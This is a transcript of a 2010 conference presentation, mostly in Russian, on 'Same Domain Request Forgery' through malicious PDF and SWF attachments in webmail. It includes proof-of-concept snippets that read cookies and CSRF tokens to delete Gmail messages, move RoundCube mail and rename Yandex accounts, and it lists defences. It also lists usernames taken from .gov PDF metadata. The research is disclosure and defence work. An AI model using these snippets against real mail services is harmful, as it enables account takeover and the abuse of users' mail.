chaos construcions 2010 sdrf presentation [onsec]
DESCRIPTION
This report describes a vulnerability type called SDRF. There are several examples that demonstrate the risk of the above-mentioned class of vulnerability. Causes of its existence and methods of protection from SDRF are also observed in the report.TRANSCRIPT
УЯЗВИМОСТИ SDRF
Новые идеи и их применение.
PDF и SWF позволяют• Отправлять запросы GET/POST/PUT на домен, в
контексте которого открыт файл, без подтверждения со стороны пользователя (диалог Adobe Reader) и без спец. настройки сервера (crossdomain.xml);
• Добавлять в HTTP запросы произвольные заголовки
• Обрабатывать HTTP ответы (получение авторизационных данных, переменных);
• Вызывать обычный JavaScript в браузере (только SWF?);
• Подделка HTTP запросов пользователя, но в отличие от CSRF, подделываются запросы, отправляемые от имени пользователя на тот же домен, где расположен вредоносный код, эксплуатирующий уязвимость.
• SDRF реализуются через стандартные функции Adobe Flash Player© и Adobe Reader©. Разумеется, можно использовать SDRF и классическими методами, например через HTML инъекции или XSS.
WTF the Same Domain Request Forgery?
• Злоумышленник отправляет жертве письмо с вложением – PDF или SWF файлом. Файл содержит вредоносный код.
• Жертва получает письмо злоумышленника и открывает приложенный файл через веб-интерфейс RoundCube.
• В контексте браузера запускается плагин Adobe Reader ©, который обрабатывает и выполняет вредоносный код. От имени пользователя выполняются какие-либо действия в веб-приложении.
SDRF в веб-приложениях. RoundCube.
SDRF в веб-приложениях. RoundCube.
1. var resp = GET(‘http://target-domain/?_task=mail&mbox=INBOX’)2. var request_token = resp.substring(resp.search(‘request_token’),33)3. POST(‘http://target-domain/?_task=mail&_action=moveto’,’ _uid=2451&_mbox=INBOX&_target_mbox=Trash&_from=&_remote=1’,’application/x-www-form-urlencoded’,’UTF-8’,concat(‘X-RoundCube-Request=’,request_token))
SDRF в веб-приложениях. RoundCube.
SDRF в веб-приложениях. Защита.• Запретить загрузку файлов PDF и SWF со стороны
пользователя
• Запретить прямой доступ к загруженным файлам PDF и SWF средствами веб-сервера. Вместо этого использовать средства веб-приложения, добавлять заголовок Content-type:Application/octet-stream.
• Перенести хранилище файлов PDF и SWF на другой домен, где вообще отсутствуют веб-приложения.
SDRF в браузерах. Opera 10.60+• Браузер выводит диалоговое окно даже при
обработке HTTP ответа c заголовком Content-Type: application/octet-stream.
• Если в этом диалоге пользователь нажмет кнопку «Открыть», результат будет таким же, как если бы документ был подключен в тэг <embed> страницы веб-приложения!
• Такая особенность браузера ставит под удар большинство веб-приложений.
SDRF в браузерах. Opera 10.60+• Если пользователь использует Opera10.60+,
уязвимыми оказываются веб-приложения, защищенные от SDRF в других браузерах.
• Google Mail, Yandex Mail, все остальные
SDRF PoC: Gmail && Opera 10.60+• Пользователь открывает приложение к письму
SDRF PoC: Gmail && Opera 10.60+• Пользователь нажимает «Открыть» в диалоге.
SDRF PoC: Gmail && Opera 10.60+public function getIK():void{
httpService.send();
browserCookieString = ExternalInterface.call("function(){return document.cookie}");
browserCookieString = browserCookieString.replace(/;\s/g, "&");
if(browserCookieString) {_urlVariables = new URLVariables(browserCookieString); } }
private function httpService_result(evt:ResultEvent):void{
var resp:String = evt.result.toString();
var sI1:int = resp.search("GLOBALS=");
ik = resp.substring(sI1+129,sI1+139);
var sI2:int = browserCookieString.search("&GMAIL_AT=");
at = browserCookieString.substring(sI2+10,sI2+10+34);
deleteEmail(); }
CSRF PoC: Opera 10.60+ Yandex.Mail• Уязвимость Opera позволяет открыть прикрепленный
файл к письму в контексте домена webattach.yandex.net
• Crossdomain.xml на mail.yandex.ru разрешает запросы от Flash с этого домена:
<allow-access-from domain="*.yandex.net"/>
• Простое приложение на Flash может отравлять запросы с webattach.yandex.net на mail.yandex.ru и обрабатывать результаты.
CSRF PoC: Opera 10.60+ Yandex.Mailpublic function changeMailName(){
var params:Object={}; params['ckey']=ckey;params['from_name']='i-am-hacked'; httpService2.send(params); }
private function httpService_result(evt:ResultEvent):void { var resp:String = evt.result.toString();var sI:int = resp.search("ckey='"); var eI:int = resp.substring(sI+6).search("'");ckey=resp.substring(sI+6,sI+eI-1);
changeMailName(); }
SDRF === CSRF ?
=== ?
the Same Domain Request Forgery Cross Site Request Forgery
• Запретить загрузку файлов от пользователя ;)
• Вынести все пользовательские загрузки на отдельный домен;
• Запретить этот домен в crossdomain.xml основного домена;
Можно защитить веб и под Opera!
Что еще прячется в PDF?Формат содержит мета-данные,в них может содержаться, например, путь в системе, где был создан файл.
В Windows системах этот путь,как правило, содержит логин пользователя.
C:\Documents and Settings\Vasya\My Documents\first.pdf
• Анализ публично доступных PDF форм на доменах .GOV показал:
Что еще прячется в PDF?
1010ez.med.va.gov vha-10-10ez.pdf vhacostoutm
cars.govsalvage-auction-certification-form.pdf Administrator
dps.nv.govNTAC Suspicious Activity Report Form.pdf dmestey
uscis.gov i-134.pdf barobbsclimatescience.gov form-submit-event.pdf gminasyanfms.gov.ru form1p_1april2010.pdf andresba.gov form_tr1010.pdf rsultan
eda.govForm ED-209S (Semiannual) - FINAL.pdf ktilakaratne
tinet.ita.doc.gov doc_order_form.pdf Katjaterpforms.cbp.gov CBP_Form_4457.pdf jkim